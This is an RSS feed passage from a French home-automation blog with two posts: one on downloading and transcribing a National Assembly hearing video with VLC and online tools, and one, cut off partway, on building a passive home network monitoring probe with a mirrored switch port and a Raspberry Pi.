<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>网络安全 - Sigalou Domotique</title>
	<atom:link href="https://www.sigalou-domotique.fr/zh/category/cybersecurite/feed" rel="self" type="application/rss+xml" />
	<link href="">https://www.sigalou-domotique.fr/zh</link>
	<description>网络安全，家庭助理，365...</description>
	<lastbuilddate>Sat, 31 Oct 2026 10:13:25 +0000</lastbuilddate>
	<language>ZH - 汉斯</language>
	<sy:updateperiod>
	小时 小时	</sy:updateperiod>
	<sy:updatefrequency>
	1	</sy:updatefrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://www.sigalou-domotique.fr/wp-content/uploads/2026/04/cropped-sigalou-carre-32x32.png</url>
	<title>网络安全 - Sigalou Domotique</title>
	<link href="">https://www.sigalou-domotique.fr/zh</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>翻译国民议会听证会的案文</title>
		<link href="">https://www.sigalou-domotique.fr/zh/retranscrire-le-texte-dune-audition-a-lassemblee-nationale</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>太阳，2026年10月4日 07:18:56 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=11848</guid>

					<description><![CDATA[Je cherche à retranscrire une audition ministérielle Je souhaite obtenir un résumé précis d&#8217;une audition récente entre la ministre du numérique et le directeur de l&#8217;ANSSI. Cette vidéo, disponible sur le site de l&#8217;Assemblée nationale, ne fait l&#8217;objet d&#8217;aucun compte-rendu écrit officiel. Mon objectif est clair : extraire le contenu pour l&#8217;analyser sereinement. La vidéo [&#8230;]]]></description>
										<content:encoded><![CDATA[<h2>Je cherche à retranscrire une audition ministérielle</h2>
<p>Je souhaite obtenir un résumé précis d&rsquo;une audition récente entre la ministre du numérique et le directeur de l&rsquo;ANSSI. Cette vidéo, disponible sur le site de l&rsquo;Assemblée nationale, ne fait l&rsquo;objet d&rsquo;aucun compte-rendu écrit officiel. Mon objectif est clair : extraire le contenu pour l&rsquo;analyser sereinement.</p>
<p>La vidéo est hébergée à cette adresse : <a href="https://videos.assemblee-nationale.fr/video.19477681_6abe496542f5c.renforcement-de-la-cybersecurite--mme-anne-le-henanff-ministre-deleguee-chargee-de-l-intelligence-1-octobre-2026" target="_blank" rel="noopener noreferrer">vidéo.assemblee-nationale.fr</a>. Je commence donc par inspecter le code source de la page pour identifier le fichier média.<span id="more-11848"></span></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je localise le fichier source de la vidéo</h3>
<p>J&rsquo;ouvre les outils de développement de mon navigateur en appuyant sur la touche F12. Je fouille le code HTML à la recherche de la balise vidéo. Je trouve rapidement mon bonheur dans une balise <code>&lt;source&gt;</code> pointant vers un flux HLS.</p>
<p><img fetchpriority="high" decoding="async" class="aligncenter size-full wp-image-11852" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021.png" alt="" width="783" height="232" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021.png 783w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021-300x89.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021-768x228.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021-18x5.png 18w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-091021-600x178.png 600w" sizes="(max-width: 783px) 100vw, 783px" /></p>
<p>Voici l&rsquo;URL exacte que j&rsquo;ai récupérée :</p>
<pre class="EnlighterJSRAW" data-enlighter-language="html">&lt;source src="https://videos-an.vodalys.com/videos/definst/mp4/ida/domain1/2026/10/las2_20261001135205.smil/master.m3u8"&gt;
</pre>
<p>Le fichier source est donc identifié. Je peux maintenant procéder à sa récupération pour le convertir en un fichier MP4 classique, plus facile à manipuler pour la suite de mes tests.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e5.png" alt="📥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je récupère et convertis la vidéo avec VLC</h3>
<p>J&rsquo;utilise mon couteau suisse multimédia, VLC Media Player, pour télécharger le flux. Une fois le fichier <code>video.mp4</code> enregistré sur mon disque dur, je me concentre sur la retranscription.</p>
<p><img decoding="async" class="aligncenter size-full wp-image-11861" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-134556.png" alt="" width="542" height="417" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-134556.png 542w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-134556-300x231.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-134556-16x12.png 16w" sizes="(max-width: 542px) 100vw, 542px" /></p>
<p>Je me lance alors dans une quête pour trouver l&rsquo;outil capable de transcrire un fichier aussi lourd en français.</p>
<h2>Je teste les outils de transcription en ligne</h2>
<p>Ma vidéo dépasse largement le gigaoctet. Je cherche une solution gratuite ou abordable pour obtenir un texte fidèle. Mon premier réflexe se tourne vers <strong>Turboscribe.ai</strong>.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6ab.png" alt="🚫" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Turboscribe.ai : une limite bloquante</h3>
<p>Je me rends sur leur tableau de bord. J&rsquo;ajoute mon fichier et je sélectionne le mode « Baleine » pour une précision maximale. La transcription se lance et la rapidité est au rendez-vous.</p>
<p>&nbsp;</p>
<p style="color: #747474; font-size: 14px; line-height: 22px; font-family: 'Open Sans', sans-serif; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><img decoding="async" class="aligncenter size-full wp-image-11854" style="height: auto; max-width: 100%; display: block; margin: 0.5em auto;" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092617.png" alt="" width="519" height="685" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092617.png 519w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092617-227x300.png 227w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092617-9x12.png 9w" sizes="(max-width: 519px) 100vw, 519px" /></p>
<p>Cependant, je me heurte vite à un mur : la version gratuite s&rsquo;arrête net à 30 minutes d&rsquo;audio. Mon fichier étant bien plus long, je dois chercher une alternative.</p>
<p>&nbsp;</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3b5.png" alt="🎵" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je contourne la limite de poids avec l&rsquo;extraction audio</h3>
<p>Je me tourne ensuite vers <strong>Notta.ai</strong>, réputé pour sa qualité sur la langue française. Nouveau problème : mon fichier vidéo est refusé car il dépasse la limite de 1 Go.</p>
<p>Pour résoudre ce souci, je décide d&rsquo;extraire uniquement la piste audio. Le fichier sera bien plus léger. Je retourne sur VLC pour cette opération technique.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11853" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092243.png" alt="" width="552" height="422" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092243.png 552w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092243-300x229.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092243-16x12.png 16w" sizes="auto, (max-width: 552px) 100vw, 552px" /></p>
<p>Voici la manipulation que j&rsquo;effectue pour isoler le son :</p>
<p>&nbsp;</p>
<ol>
<li>J&rsquo;ouvre VLC et je vais dans le menu <strong>Média</strong> puis <strong>Convertir / Enregistrer</strong>.</li>
<li>J&rsquo;ajoute mon fichier <code>video.mp4</code> et je clique sur le bouton de conversion.</li>
<li>Dans le profil, je choisis <strong>Audio &#8211; MP3</strong>.</li>
<li>Je lance la conversion et j&rsquo;obtiens un fichier <code>video.mp3</code> de seulement 177 Mo.</li>
</ol>
<p>C&rsquo;est beaucoup plus gérable pour les outils en ligne. Je retourne donc sur Notta.ai avec ce nouveau fichier.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Notta.ai et Vook.ai : des essais infructueux</h3>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11855 " src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-1024x652.png" alt="" width="730" height="465" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-1024x652.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-300x191.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-768x489.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-18x12.png 18w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805-600x382.png 600w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-092805.png 1304w" sizes="auto, (max-width: 730px) 100vw, 730px" /></p>
<p>J&rsquo;importe mon fichier MP3 sur Notta. L&rsquo;outil travaille bien, mais lors de la récupération, je constate que seul un extrait de 30 minutes est disponible. L&rsquo;inscription promise pour débloquer la suite ne fonctionne pas comme attendu : l&rsquo;option payante revient systématiquement.</p>
<p>Je ne me décourage pas. Je teste <strong>Vook.ai</strong> en espérant mieux.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11856" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400.png" alt="" width="722" height="315" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400.png 1221w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400-300x131.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400-1024x447.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400-768x335.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400-18x8.png 18w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-094400-600x262.png 600w" sizes="auto, (max-width: 722px) 100vw, 722px" /></p>
<p>J&rsquo;envoie mon fichier MP3, je laisse tourner&#8230; et c&rsquo;est le même constat. Le service me bloque également à 30 minutes d&rsquo;écoute.</p>
<h2>Mon avis sur la recherche du bon outil</h2>
<p>Face à ces limitations successives, je comprends que la gratuité a des plafonds stricts pour les gros fichiers. Je dois maintenant me tourner vers une dernière solution : <a href="https://scribe.cemea.org/" target="_blank" rel="noopener"><strong>Scribe.cemea.org</strong></a>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11857" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953.png" alt="" width="713" height="341" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953.png 1404w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953-300x143.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953-1024x489.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953-768x367.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953-18x9.png 18w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/10/Capture-decran-2026-10-04-100953-600x287.png 600w" sizes="auto, (max-width: 713px) 100vw, 713px" /></p>
<p>Je continue mon test avec cet outil pour voir s&rsquo;il parviendra à traiter l&rsquo;intégralité de l&rsquo;audition sans me demander de paiement.</p>
<p>46 minutes après, je reçois le fichier transcription.zip, il fait 630ko et contient 3 fichiers : phrases.txt subtitles.srt timed_phrases.txt</p>
<p>C&rsquo;est vraiment parfait, j&rsquo;ai exactement ce que je voulais.</p>
<p>Je peux injecter le fichier phrases.txt dans une IA et travailler tout cela pour résumer, extraire les points clés &#8230;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我通过家庭安全助理监控我的家庭网络</title>
		<link href="">https://www.sigalou-domotique.fr/zh/je-surveille-mon-reseau-domestique-et-je-laffiche-sur-mon-dasboard</link>
		
		<dc:creator><![CDATA[Sigalou]]></dc:creator>
		<pubdate>弗里，2026年5月8日 16:23:56 + 0000</pubdate>
				<category><![CDATA[CyberSécurité]]></category>
		<category><![CDATA[Domotique]]></category>
		<category><![CDATA[Home Assistant]]></category>
		<guid ispermalink="false">https://www.sigalou-domotique.fr/?p=11302</guid>

					<description><![CDATA[La sécurité des réseaux domestiques est devenue un vrai sujet de préoccupation. Entre les objets connectés, les assistants vocaux, les caméras IP, les NAS, les smartphones et les équipements domotiques, nos réseaux locaux ressemblent de plus en plus à de petits réseaux d’entreprise. Et nous n&#8217;échapperons pas aux attaques en masse qui sont lancées par [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>La sécurité des réseaux domestiques est devenue un vrai sujet de préoccupation.</p>
<p>Entre les objets connectés, les assistants vocaux, les caméras IP, les NAS, les smartphones et les équipements domotiques, nos réseaux locaux ressemblent de plus en plus à de petits réseaux d’entreprise.</p>
<p>Et nous n&rsquo;échapperons pas aux attaques en masse qui sont lancées par les cybercriminels.</p>
<p>Après plusieurs années à faire évoluer mon installation domotique, j’ai voulu ajouter une couche de surveillance réseau passive :</p>
<ul>
<li>sans impacter les performances ;</li>
<li>sans modifier le trafic ;</li>
<li>et sans transformer le réseau en usine à gaz.</li>
</ul>
<p><span id="more-11302"></span></p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50d.png" alt="🔍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi je surveille mon réseau local ?</h2>
<p>La plupart des équipements connectés communiquent constamment avec Internet :</p>
<ul>
<li>TV connectées ;</li>
<li>assistants vocaux ;</li>
<li>prises domotiques ;</li>
<li>caméras ;</li>
<li>objets IoT ;</li>
<li>applications mobiles ;</li>
<li>etc.</li>
</ul>
<p>Le problème :</p>
<ul>
<li>on ne sait pas toujours ce qu’ils envoient ;</li>
<li>ni à qui ;</li>
<li>ni à quelle fréquence.</li>
</ul>
<p>Une surveillance réseau permet notamment :</p>
<ul>
<li>de détecter des appareils inconnus ;</li>
<li>d’identifier des comportements suspects ;</li>
<li>de voir quels équipements parlent vers l’extérieur ;</li>
<li>de repérer des scans réseau ;</li>
<li>d’identifier des flux anormaux ;</li>
<li>ou simplement de mieux comprendre son réseau.</li>
</ul>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mon objectif avec cette installation</h2>
<p>L’objectif était simple :</p>
<ul>
<li>observer le trafic réseau ;</li>
<li>détecter les comportements anormaux ;</li>
<li>centraliser les alertes dans Home Assistant ;</li>
<li>tout en restant 100 % local.</li>
</ul>
<p>Pour cela, j’ai choisi une architecture basée sur :</p>
<ul>
<li>un switch manageable avec port mirroring ;</li>
<li>un Raspberry Pi dédié à l’analyse réseau ;</li>
<li>et l’intégration Home Security Assistant pour Home Assistant.</li>
</ul>
<p>Mais je voulais une solution :</p>
<ul>
<li>passive ;</li>
<li>discrète ;</li>
<li>fiable ;</li>
<li>locale ;</li>
<li>et indépendante du routeur.</li>
</ul>
<p>Le principe retenu est celui utilisé dans beaucoup d’environnements professionnels.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Mon architecture réseau</h2>
<p>Mon réseau est organisé ainsi :</p>
<pre>Internet
    ↓
Freebox (mode bridge)
    ↓
Routeur Synology
    ↓
Switch manageable Zyxel GS1200-5
    ├── autres switchs
    └── port mirror → Raspberry Pi IDS
</pre>
<p><a href="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2.png" target="_blank" rel="noopener"><img loading="lazy" decoding="async" class="aligncenter wp-image-11313" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2.png" alt="" width="800" height="533" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2.png 1536w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-300x200.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-1024x683.png 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-768x512.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Reseau2-600x400.png 600w" sizes="auto, (max-width: 800px) 100vw, 800px" /></a></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1fa9e.png" alt="🪞" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je mets en place du port mirroring</h3>
<p>Le switch duplique le trafic réseau d’un port spécifique et l’envoie vers un autre port dédié à l’analyse. On parle généralement de <strong>port mirroring</strong>, ou de <strong>SPAN</strong>.</p>
<p>Ainsi :</p>
<ul>
<li>le Raspberry Pi reçoit une copie des paquets ;</li>
<li>sans être visible sur le réseau ;</li>
<li>sans modifier le trafic ;</li>
<li>et sans devenir un point critique de l’infrastructure.</li>
</ul>
<p>Et honnêtement, s&rsquo;il tombe, s&rsquo;il crame, s&rsquo;il en a marre de travailler pour moi, cela n&rsquo;aura aucune conséquence sur l&rsquo;installation domotique de la maison.</p>
<p>Et pour la bonne santé de mes relations avec le reste de ma petite famille, il ne faut pas que mes bricolages empêchent les lumières de s&rsquo;allumer ou l&rsquo;arrosage de se déclencher.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4b8.png" alt="💸" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Combien cela m&rsquo;a coûté ?</h2>
<p>La mise en place d&rsquo;une sonde de sécurité à mon domicile ne devait pas me coûter bien cher, le budget familial ayant bien d&rsquo;autres priorités.</p>
<p>Ainsi, le seul investissement financier a été l&rsquo;ajout d&rsquo;un switch manageable que je détaille juste après. Celui-ci m&rsquo;a coûté : <strong>17,36 €</strong>.</p>
<p><a href="https://www.sigalou-domotique.fr/produit/gs1200-5" target="_blank" rel="noopener"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-11324" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/commande.jpg" alt="" width="628" height="256" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/commande.jpg 628w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/commande-300x122.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/commande-600x245.jpg 600w" sizes="auto, (max-width: 628px) 100vw, 628px" /></a></p>
<ul>
<li>cf. <a href="https://www.sigalou-domotique.fr/produit/gs1200-5" target="_blank" rel="noopener">Page dédiée à ce produit avec vendeurs, prix ou promo</a></li>
</ul>
<p>J&rsquo;avais déjà les câbles Ethernet et un vieux Raspberry Pi 3B+ dans un tiroir.</p>
<p>Si vous devez acheter un Raspberry Pi 3B+, vous le trouverez d&rsquo;occasion aux alentours de 40 €. Je ne prendrais pas moins : le 3B+ me semble être le minimum pour ce type d’usage. Et si vous avez le choix, préférez directement un Raspberry Pi 4.</p>
<p>On arrive donc à un budget global aux alentours de 60 € si vous devez acheter le switch et le Raspberry.</p>
<p>Et si vous remplacez la carte SD par un SSD SATA, inutile de prendre énorme : un modèle de 20 à 32 Go suffit largement. En USB via un petit boîtier, c&rsquo;est pratique et facile à utiliser.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Le matériel que j’utilise</h2>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f50c.png" alt="🔌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je choisis le switch manageable Zyxel GS1200-5</h3>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11306" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183329.png" alt="" width="337" height="207" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183329.png 888w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183329-300x184.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183329-768x471.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183329-600x368.png 600w" sizes="auto, (max-width: 337px) 100vw, 337px" /></p>
<p>J’ai choisi le :</p>
<ul>
<li><a href="https://www.sigalou-domotique.fr/produit/gs1200-5" target="_blank" rel="noopener">Zyxel GS1200-5 v3</a></li>
</ul>
<p>Pourquoi ce modèle :</p>
<ul>
<li>compact ;</li>
<li>silencieux ;</li>
<li>faible consommation ;</li>
<li>administration web simple ;</li>
<li>support du port mirroring ;</li>
<li>prix vraiment très raisonnable.</li>
</ul>
<p>C’est un excellent compromis pour un laboratoire domotique ou un réseau résidentiel avancé.</p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f967.png" alt="🥧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je prépare le Raspberry Pi</h3>
<p>Le Raspberry Pi servira de sonde réseau.</p>
<p>Le Raspberry :</p>
<ul>
<li>ne route rien ;</li>
<li>ne filtre rien ;</li>
<li>ne sert pas de firewall ;</li>
<li>il écoute simplement le trafic miroir envoyé par le switch.</li>
</ul>
<p>Je recommande :</p>
<ul>
<li>Raspberry Pi 4 avec 4 Go minimum, même si j’ai utilisé un Raspberry Pi 3B+ que j’avais déjà ;</li>
<li>idéalement avec un SSD USB.</li>
</ul>
<p>Pourquoi éviter la carte SD :</p>
<ul>
<li>les outils IDS écrivent beaucoup de logs ;</li>
<li>les cartes SD s’usent rapidement.</li>
</ul>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Pourquoi je préfère un switch miroir plutôt qu’un firewall IDS ?</h2>
<p>Certaines solutions comme :</p>
<ul>
<li>pfSense ;</li>
<li>OPNsense ;</li>
<li>ou Suricata directement sur le routeur ;</li>
</ul>
<p>sont très puissantes.</p>
<p>Mais dans mon cas je voulais :</p>
<ul>
<li>séparer l’analyse du réseau principal ;</li>
<li>éviter toute coupure réseau liée à l’IDS ;</li>
<li>garder une architecture modulaire ;</li>
<li>pouvoir arrêter l’analyse sans impacter Internet.</li>
</ul>
<p>Le mode passif apporte plusieurs avantages :</p>
<ul>
<li>aucune latence ;</li>
<li>aucun impact sur le trafic ;</li>
<li>aucune dépendance réseau ;</li>
<li>simplicité ;</li>
<li>sécurité.</li>
</ul>
<p>Même si le Raspberry plante :</p>
<p>→ le réseau continue de fonctionner normalement.</p>
<h2><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure le switch Zyxel GS1200-5</h2>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11307" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-scaled.jpg" alt="" width="651" height="455" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-scaled.jpg 2560w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-300x210.jpg 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-1024x716.jpg 1024w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-768x537.jpg 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-1536x1073.jpg 1536w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-2048x1431.jpg 2048w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/ordiportable-600x419.jpg 600w" sizes="auto, (max-width: 651px) 100vw, 651px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je fais la première mise en route du switch</h3>
<p>Avant d’intégrer le switch au réseau principal, j’ai commencé par effectuer une configuration initiale en connexion directe avec un ordinateur portable.</p>
<p>Cette méthode permet :</p>
<ul>
<li>de configurer le switch tranquillement hors production ;</li>
<li>d’éviter tout conflit réseau ;</li>
<li>de sécuriser immédiatement l’accès administrateur ;</li>
<li>et de préparer le port mirroring avant l’intégration au réseau réel.</li>
</ul>
<p>Après le déballage :</p>
<ul>
<li>raccordement de l’alimentation ;</li>
<li>connexion du PC portable sur le port 1 du switch ;</li>
<li>désactivation temporaire du Wi-Fi sur l’ordinateur ;</li>
<li>et configuration d’une adresse IP statique sur la carte réseau Ethernet.</li>
</ul>
<p>Le switch Zyxel utilise par défaut l’adresse :</p>
<pre>192.168.1.3</pre>
<p>J’ai donc configuré temporairement le PC avec :</p>
<table>
<thead>
<tr>
<th>Paramètre</th>
<th>Valeur</th>
</tr>
</thead>
<tbody>
<tr>
<td>Adresse IP</td>
<td>192.168.1.50</td>
</tr>
<tr>
<td>Masque</td>
<td>24</td>
</tr>
<tr>
<td>Passerelle</td>
<td>192.168.1.1</td>
</tr>
</tbody>
</table>
<p>Une fois les deux équipements dans le même sous-réseau, le switch répond immédiatement au ping.</p>
<p>L’administration web ne fonctionne qu’en HTTPS sur les firmwares récents. La connexion s’effectue donc via :</p>
<pre>https://192.168.1.3</pre>
<p>Le navigateur affiche alors un avertissement de certificat SSL auto-signé, ce qui est parfaitement normal sur ce type d’équipement.</p>
<p>Lors de la première connexion :</p>
<ul>
<li>le switch demande immédiatement la modification du mot de passe administrateur ;</li>
<li>puis l’accès à l’interface de configuration devient disponible.</li>
</ul>
<p>J’ai ensuite :</p>
<ul>
<li>désactivé le client DHCP du switch ;</li>
<li>attribué une adresse IP fixe, facultatif mais j&rsquo;ai mis <code>192.168.1.11</code> ;</li>
<li>et sauvegardé la configuration avant intégration au réseau principal.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11310" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-184232.png" alt="" width="650" height="407" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-184232.png 994w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-184232-300x188.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-184232-768x481.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-184232-600x375.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<p>Cette étape de préparation permet d’avoir immédiatement :</p>
<ul>
<li>un switch proprement configuré ;</li>
<li>une adresse d’administration connue ;</li>
<li>et une configuration stable avant la mise en production.</li>
</ul>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> J’accède au switch sur le réseau local</h3>
<p>Le switch est maintenant accessible via HTTPS :</p>
<pre>https://192.168.1.11</pre>
<p>Je peux rester sur mon ordinateur portable en direct ou le connecter au réseau local. Le switch a maintenant son IP fixe, donc pas de conflit.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-11308" src="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183804.png" alt="" width="650" height="371" srcset="https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183804.png 1023w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183804-300x171.png 300w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183804-768x438.png 768w, https://www.sigalou-domotique.fr/wp-content/uploads/2026/05/Capture-decran-2026-05-08-183804-600x343.png 600w" sizes="auto, (max-width: 650px) 100vw, 650px" /></p>
<h3><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f500.png" alt="🔀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Je configure les ports</h3>
<p>Configuration retenue :</p>
<table>
<thead>
<tr>
<th>Port</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Port 1</td>
<td>Routeur Synology</td>
</tr>
<tr>
